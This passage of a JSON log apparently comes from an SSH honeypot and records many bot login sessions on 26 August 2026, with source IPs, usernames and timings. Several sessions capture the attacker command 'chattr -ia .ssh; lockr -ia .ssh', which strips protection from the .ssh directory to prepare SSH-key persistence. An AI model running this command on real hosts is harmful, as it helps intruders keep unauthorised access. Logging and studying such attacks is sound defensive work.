  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:56:32.323676+00:00",
  "ended_at": "2026-08-26T21:56:33.662817+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8a3e7b73-43a3-4afe-9669-aa441dce648f",
  "name": "keen-brave-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 55190,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:56:31.098442+00:00",
  "ended_at": "2026-08-26T21:56:32.193461+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a4014244-70c8-4856-80ef-ca07aa29dafc",
  "name": "gritty-plucky-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 36196,
  "username": "test_user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:56:00.553273+00:00",
  "ended_at": "2026-08-26T22:00:00.822258+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "910bee72-8600-4d52-af3a-d73a00585467",
  "name": "coral-lively-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 40922,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 70,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:54:51.098099+00:00",
  "ended_at": "2026-08-26T21:54:51.967026+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2282
 },
 {
  "id": "0498749f-c4b4-4fe3-9cc2-28feee0faf60",
  "name": "stoic-mighty-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 40936,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:54:35.747603+00:00",
  "ended_at": "2026-08-26T21:54:37.172797+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4fa592d1-d39e-4074-bdc9-50780532a170",
  "name": "knotted-lively-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 40930,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:54:34.094253+00:00",
  "ended_at": "2026-08-26T21:54:35.614556+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc56c274-7f9e-42de-a185-441ab6ed2f79",
  "name": "wiry-merry-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 43208,
  "username": "it",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 73,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:52:53.047241+00:00",
  "ended_at": "2026-08-26T21:52:54.392693+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2220
 },
 {
  "id": "450af1c2-1b6c-4409-8272-1b8c8ae87201",
  "name": "wooded-western-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 43224,
  "username": "it",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:52:34.925324+00:00",
  "ended_at": "2026-08-26T21:52:36.320121+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "afaa0766-a535-4585-9ac4-c747c9a1ffab",
  "name": "indigo-lucid-bison",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 43222,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:52:33.132905+00:00",
  "ended_at": "2026-08-26T21:52:34.789261+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e0a23090-474a-4bcc-b4e2-c83a6a258114",
  "name": "dewy-faded-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 45852,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 68,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:50:48.908832+00:00",
  "ended_at": "2026-08-26T21:50:50.825332+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2260
 },
 {
  "id": "f955c151-5395-4a68-9b6f-acc9a7fefb86",
  "name": "mossy-gleaming-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 45856,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:50:37.577925+00:00",
  "ended_at": "2026-08-26T21:50:39.316891+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6c17cca6-7270-42d2-a015-c216d5a4d5f9",
  "name": "daring-somber-wigeon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 45854,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:50:35.657216+00:00",
  "ended_at": "2026-08-26T21:50:37.429412+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a058b1ce-17ee-4e62-9987-85b9767b81dc",
  "name": "idle-flinty-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 45258,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:50:05.493901+00:00",
  "ended_at": "2026-08-26T21:51:04.116428+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a0e121dd-35af-40ea-aea5-dbb16a1c7e33",
  "name": "sooty-primal-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 47058,
  "username": "mantenimiento",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:49:55.583545+00:00",
  "ended_at": "2026-08-26T21:53:55.908329+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "89f01967-b6fd-431c-99de-62e5d676979e",
  "name": "jaunty-ancient-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 59308,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:48:55.007378+00:00",
  "ended_at": "2026-08-26T21:48:56.445720+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2196
 },
 {
  "id": "9efd2447-cb13-483b-842b-db05fdc8a398",
  "name": "russet-glassy-pipit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 50656,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:48:34.000505+00:00",
  "ended_at": "2026-08-26T21:48:35.833651+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "53f9b883-0a09-4a57-b326-938ac95f7939",
  "name": "grassy-bold-sable",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 50654,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:48:32.124316+00:00",
  "ended_at": "2026-08-26T21:48:33.863597+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "19a88dac-d478-40f2-a4ab-5ecb2d32a4d4",
  "name": "bold-nameless-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 56664,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 71,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:46:42.168677+00:00",
  "ended_at": "2026-08-26T21:46:44.366812+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2238
 },
 {
  "id": "7d5eabc0-9ce9-4931-bb40-0e4adb82b619",
  "name": "lanky-fierce-goldcrest",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 56686,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:46:31.407659+00:00",
  "ended_at": "2026-08-26T21:46:31.923916+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "059c6b34-6a11-4ee8-9da5-b7a07a304924",
  "name": "frank-merry-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 42310,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:46:29.722489+00:00",
  "ended_at": "2026-08-26T21:50:29.739671+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "d4939171-a0d8-4f9b-8794-9e22d403cd69",
  "name": "silent-crisp-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 56672,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:46:29.540249+00:00",
  "ended_at": "2026-08-26T21:46:31.273048+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d372a842-883e-4aee-b7bf-c487f63997e5",
  "name": "plush-amiable-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 46896,
  "username": "behnam",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 67,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:44:49.415915+00:00",
  "ended_at": "2026-08-26T21:44:50.314075+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2174
 },
 {
  "id": "75db41f7-52fa-421d-8896-ff157b1e1ebd",
  "name": "crystal-bashful-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 46910,
  "username": "behnam",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:44:37.895448+00:00",
  "ended_at": "2026-08-26T21:44:38.552772+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "39395c80-9c1b-4201-a3a9-5b650003f107",
  "name": "lofty-sullen-bobcat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 46898,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:44:35.901214+00:00",
  "ended_at": "2026-08-26T21:44:37.759375+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "166321da-63f0-4468-8d63-1b52afeb94dd",
  "name": "blazing-sunlit-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 54718,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:43:05.878612+00:00",
  "ended_at": "2026-08-26T21:47:05.886879+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "4cd4cfa2-a3e0-4e5d-96a9-2f2538ed1b79",
  "name": "placid-emerald-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 39934,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:42:51.688062+00:00",
  "ended_at": "2026-08-26T21:42:53.178355+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2216
 },
 {
  "id": "72502d8e-bba5-4aec-9a55-3349dfe18764",
  "name": "sturdy-kindly-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 39950,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:42:41.118603+00:00",
  "ended_at": "2026-08-26T21:42:41.736904+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5cdfb235-67b3-4870-b846-a90c94ba98b5",
  "name": "jolly-mottled-armadillo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 39942,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:42:39.832197+00:00",
  "ended_at": "2026-08-26T21:42:40.985609+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f94fc549-d7ec-40c8-a223-8b20c6e0ed4f",
  "name": "lawful-merry-toucan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 44310,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 68,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:40:48.158444+00:00",
  "ended_at": "2026-08-26T21:40:49.292764+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2203
 },
 {
  "id": "e1aa9bc3-c13b-4259-853f-acf6edf33680",
  "name": "emerald-bashful-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 44332,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:40:36.946212+00:00",
  "ended_at": "2026-08-26T21:40:38.347028+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9d27a129-3d81-4ba0-9314-28ae42df651a",
  "name": "spirited-prairie-mongoose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 44316,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:40:36.039201+00:00",
  "ended_at": "2026-08-26T21:40:36.812064+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "96227e3d-7dff-4ee8-b333-568c2fcecce8",
  "name": "icy-plucky-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 56154,
  "username": "cps",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:39:15.884302+00:00",
  "ended_at": "2026-08-26T21:40:14.534124+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7db919dd-d72b-4961-897a-fa558ce6d909",
  "name": "courtly-dewy-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 57444,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 70,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:38:55.902990+00:00",
  "ended_at": "2026-08-26T21:38:57.202707+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2194
 },
 {
  "id": "d041e9d4-f323-49bf-bb40-dba0b5e6a423",
  "name": "electric-gritty-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 57464,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:38:44.881878+00:00",
  "ended_at": "2026-08-26T21:38:46.605902+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5f65579d-be86-408d-8c0f-feea5bfc4977",
  "name": "frosty-smooth-mole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 57456,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:38:43.122846+00:00",
  "ended_at": "2026-08-26T21:38:44.746188+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bb45dbdb-4045-4094-9ed3-6209e9e31690",
  "name": "glacial-vernal-goshawk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "41.111.227.10",
  "src_port": 51206,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 508,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:37:13.185250+00:00",
  "ended_at": "2026-08-26T21:37:13.851923+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "006ed78b-7840-4129-bcb3-3bd7958bc788",
  "name": "hazel-ashen-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.111.227.10",
  "src_port": 51216,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:37:02.474203+00:00",
  "ended_at": "2026-08-26T21:37:03.593815+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "73819ae2-38f5-44ea-8981-131934cf0ed1",
  "name": "humble-fringed-raven",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "41.111.227.10",
  "src_port": 51208,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:37:00.291149+00:00",
  "ended_at": "2026-08-26T21:37:01.594318+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "89021d70-2e34-4dd2-b246-2cff8551db3e",
  "name": "misty-early-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 35262,
  "username": "webmaster",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:36:46.929136+00:00",
  "ended_at": "2026-08-26T21:36:48.559687+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0f22c5aa-bc0d-4de4-92dc-df46039b662f",
  "name": "painted-wiry-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 47040,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:35:05.727119+00:00",
  "ended_at": "2026-08-26T21:35:07.870729+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2183
 },
 {
  "id": "a52282ab-945c-4288-ac35-1a2fac3ee000",
  "name": "eager-hazel-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 53660,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:34:42.214964+00:00",
  "ended_at": "2026-08-26T21:34:44.077157+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c1991987-42f5-4d39-ba79-b04d7497c698",
  "name": "shifting-reedy-hummingbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 47054,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:34:41.320783+00:00",
  "ended_at": "2026-08-26T21:34:42.076222+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b32ef2f4-0de6-4bda-9d42-191ca760d171",
  "name": "pleasant-verdant-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 41664,
  "username": "andrei",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:33:00.409369+00:00",
  "ended_at": "2026-08-26T21:33:02.191440+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2113
 },
 {
  "id": "f7f4f1b5-c741-4b9e-b73b-5b9edf09709d",
  "name": "faded-pleasant-pheasant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 41684,
  "username": "andrei",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:32:38.432425+00:00",
  "ended_at": "2026-08-26T21:32:40.176436+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e70ce04e-d2a9-4004-9b2d-de67bddc0e88",
  "name": "gentle-reedy-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 41680,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:32:37.261449+00:00",
  "ended_at": "2026-08-26T21:32:38.299006+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5e466ecf-96c8-48a2-81bb-9aa6878ab1fe",
  "name": "forlorn-airy-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 49734,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:31:03.393133+00:00",
  "ended_at": "2026-08-26T21:31:05.334337+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2159
 },
 {
  "id": "ad9ce07b-4f2a-4c1d-a433-de8937e3130b",
  "name": "snowy-spirited-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 49754,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:30:41.725430+00:00",
  "ended_at": "2026-08-26T21:30:43.072247+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b553f937-d554-4963-896d-47da81421a85",
  "name": "fierce-lonesome-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 49738,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:30:40.096962+00:00",
  "ended_at": "2026-08-26T21:30:41.592121+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8d3d7962-2361-41fb-b214-58651d26d07b",
  "name": "pewter-gallant-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 55372,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:29:02.848236+00:00",
  "ended_at": "2026-08-26T21:29:04.782689+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2150
 },
 {
  "id": "da569cd6-8459-4edd-a662-b583c9179057",
  "name": "faded-spirited-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 49398,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
